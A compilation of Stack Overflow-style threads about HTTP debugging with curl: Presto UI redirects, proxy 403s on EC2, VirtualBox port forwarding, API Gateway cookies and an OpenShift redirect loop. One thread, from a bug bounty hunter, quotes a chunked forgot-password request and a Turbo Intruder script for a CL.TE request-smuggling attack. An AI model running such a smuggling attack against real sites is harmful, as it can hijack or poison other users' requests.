Given prestosql cluster started and listens to localhost:8080, I found it redirects request to http://localhost:8080/ui/
> curl -v http://localhost:8080/
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: */*
> Referer:
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 303 See Other
< Date: Thu, 02 Jul 2020 14:07:10 GMT
< Location: http://localhost:8080/ui/
< Content-Length: 0
Is there anyway to support a prefix like /prestosql so that it can redirect request from /prestosql to /prestosql/ui instead of /ui/?
The scenario is about using a gateway in front of prestosql then routing requests via URL rewrite. E.g., Nginx/HAProxy or Istio virtual service.
It is not possible and would require quite some work, since Presto's UI HTML and javascript code and expects various resources available at /ui/... path.
See previous discussion at https://github.com/prestosql/presto/issues/3706
Related
I'm a bug bounty hunter and just new to it. Few days ago, I read about the request smuggling vulnerability. And just after that, I started to find it on the Internet. Yesterday, I found a website that when I add X-Forwarded-Host: google.com to the header, it redirected me to https://www.google.com. It's very hard to exploit this so I have think about combine it with request smuggling. I choose the change password request as the target:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
I convert it to chunked:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
0
But when I sent it, it gave me the 503 client read error code. Look like it doesn't accept chunked. But, I still want to continue, so I download HTTP Request Smuggler and Turbo Intruder extensions on Burp Suite. Then I do Smuggle attack (CL.TE). It give a smuggle attack python code:
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Then I run it using Turbo Intruder. And I was very surprise, it sent 14 requests but just 12 requests are 503 and 2 left are 200. Special, in the 200 response header, it has ...transfer-encoding: chunked.... I have tried few times and it just gave the same result: 1 or 2 requests are 200. But something strange here, in the code, it's ...prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''.... After few tests I think that it's not the request smuggling bug because the response shown that it is the response of the original request, not the prefix in the code (I have tried to change the prefix too and it's still 200, not 400, 404, ... like I expect).
So is there anyone(must be a very professional hacker) know what vulnerability am I facing? Thank you!
First of all, your first converted reuest in chunked in TE;CL but after using burp extension you found its CL;TE, so the problem may be there.
As with responses you are a bit confused, i recommend you to solve portswigger http request smuggling labs as i have completed that recently by which your fundamentals will get pretty strong!
I have Linux EC2 instance when i am trying to download a file but getting 403
wget https://plugins.gradle.org/m2/org/springframework/data/spring-data-releasetrain/Moore-
SR1/spring-data-releasetrain-Moore-SR1.pom
Above giving me me HTTP 403 error.How should i trace where its blocking me to download ?
All proxies are set properly in my Ec2.
I tried traceroute but its not give me IPs. How to troubleshoot where its blocking me to download.
I have also open all outbound traffic in security group of EC2 but no luck.
Curl in debug mode give me below
$curl -v repo.jfrog.org
* About to connect() to proxy myproxy.xxx.com port 8080 (#0)
* Trying 1**.10*.**.**...
* Connected to myproxy.xxx.com (1**.10*.**.**) port 8080 (#0)
* Establish HTTP proxy tunnel to repo.jfrog.org:443
> CONNECT repo.jfrog.org:443 HTTP/1.1
> Host: repo.jfrog.org:443
> User-Agent: curl/7.29.0
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 403 Forbidden
< Cache-Control: no-cache
< Pragma: no-cache
< Content-Type: text/html; charset=utf-8
< Proxy-Connection: Keep-Alive
< Connection: Keep-Alive
< Content-Length: 913
< X-RBT-SCAR: 10.1**.5.2**:1141466989:1000
<
* Received HTTP code 403 from proxy after CONNECT
* Connection #0 to host myproxy.xxx.com left intact
curl: (56) Received HTTP code 403 from proxy after CONNECT
I have a node app running in a Centos 7 based VM on port 5000. When I open a browser within the VM, I can access http://localhost:5000. I am forwarding port 5000/TCP in Virtualbox too. Until very recently, I was able to access the same URL on my host. I am able to SSH into the machine, so I can assume guest addition is not to blame.
When I curl from the host, I get the following output:
curl -v http://localhost:5000
* Rebuilt URL to: http://localhost:5000/
* Trying ::1...
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 5000 (#0)
> GET / HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.46.0
> Accept: */*
>
* Recv failure: Connection was reset
* Closing connection 0
curl: (56) Recv failure: Connection was reset
Curl from the guest is successful:
curl -v localhost:5000
* About to connect() to localhost port 5000 (#0)
* Trying ::1...
* Connected to localhost (::1) port 5000 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: localhost:5000
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache="Set-Cookie, Set-Cookie2"
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XSS-Protection: 1; mode=block
< Content-Type: text/html; charset=utf-8
< Content-Length: 13545
< ETag: W/"34e9-XRkZVDhS9RNYciepFhTD7A"
< Vary: Accept-Encoding
< Date: Wed, 10 Aug 2016 17:11:16 GMT
< Connection: keep-alive
<
<!DOCTYPE html>...
Port forwarding settings are shown below - only SSH works, although I have tried adding and removing host IP to the services I want to access.
How can I troubleshoot this further?
Might this be a problem with the latest version of virtualbox?
Turns out I had downloaded a newer version of the Vagrant Box which now enabled the firewall where previously it was not. A lazy workaround was to:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
Alternatively, to allow traffic outbound on port 5000 only
firewall-cmd --zone=public --add-port=5000/tcp --permanent
Stopping the Firewall Daemon in VM machine just worked for me. Thanks #Harry King
sudo systemctl stop firewalld
Curl result before disable:
* Recv failure: Connection was reset
* Closing connection 0
curl: (56) Recv failure: Connection was reset
After disable:
< HTTP/1.1 404
< Content-Type: application/json;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Fri, 30 Oct 2020 06:47:43 GMT
<
{"timestamp":1604040463217,"status":404,"error":"Not Found","message":"No message available","path":"/"}* Connection #0 to host 127.0.0.1 left intact
I am trying to set up http-proxy using amazon api gateway, but the set-cookie request from back-end api is ignored by api gateway. Also I have tried to include "integration.response.header.Set-Cookie" as mapping for "set-cookie" in gateway.
what setting I have to follow so that gateway does not filter out any header-request parameters like set-cookie & cookie
API Gateway does not filter the Cookie or Set-Cookie header on the request or response. You should be able to proxy these headers to your endpoint and back again without issue.
However, the cookie headers may be filtered out by the "test invoke" function in the API Gateway console, or the test client that you may be using.
To confirm please test against a deployed API using a supported client such as curl. i.e.
curl -v "https://h8q79qwil5.execute-api.us-east-1.amazonaws.com/test"
* Trying 52.84.24.209...
* Connected to h8q79qwil5.execute-api.us-east-1.amazonaws.com (52.84.24.209) port 443 (#0)
* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate: *.execute-api.us-east-1.amazonaws.com
* Server certificate: Symantec Class 3 Secure Server CA - G4
* Server certificate: VeriSign Class 3 Public Primary Certification Authority - G5
> GET /test HTTP/1.1
> Host: h8q79qwil5.execute-api.us-east-1.amazonaws.com
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Content-Length: 181
< Connection: keep-alive
< Date: Mon, 11 Jul 2016 22:36:21 GMT
< Cookie: foobar
< Set-Cookie: set-cookie!
< x-amzn-RequestId: e40c57d1-47b7-11e6-b175-2f2f5356f0d7
< X-Cache: Miss from cloudfront
< Via: 1.1 ce270f4a88edde7438864bc44406e83a.cloudfront.net (CloudFront)
< X-Amz-Cf-Id: BRoLbquwa2ZkOwxDcEOJQ-iheYa90AM4WkT2gZr3TUgLlBIvUijZAg==
Thanks,
Ryan
I have a node.js application running on openshift. After testing my code on a local environment I pushed it up to my instance on openshift. After doing so, I went to check those changes on the public site and my browser reported that I was getting too many redirects. I tried to look at my haproxy status and even that was getting too many redirects.
I have done some investigation and here is what I've found:
I checked my nodejs logs and my node server started successfully (no errors)
I've ssh'd into my machine and ran curl -vvv $OPENSHIFT_NODEJS_IP:8080 and I was returned my index.html as I should.
When I run curl -vvv http://minutepolitics-minutepolitics.rhcloud.com/ I get this response:
RESPONSE:
Hostname was NOT found in DNS cache
Trying 54.81.203.46...
Connected to minutepolitics-minutepolitics.rhcloud.com (54.81.203.46) port 80 (#0)
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: minutepolitics-minutepolitics.rhcloud.com
Accept: */*
HTTP/1.1 302 Found
Date: Thu, 23 Oct 2014 03:26:06 GMT
Server Apache/2.2.15 (Red Hat) is not blacklisted
Server: Apache/2.2.15 (Red Hat)
Vary: Host
X-Powered-By: PHP/5.3.3
Location: http://minutepolitics-minutepolitics.rhcloud.com/
Connection: close
Accept-Ranges: none
Content-Length: 0
Content-Type: text/html
Closing connection 0
Also, when I ssh into my machine and run /etc/init.d/haproxy start the output is: Starting haproxy: [ALERT] 294/230821 (134951) : Starting frontend main: cannot bind socket [FAILED]
From here, I don't know what to do or try to get this working again.
Any and all help will be greatly apprecaited! Thanks!!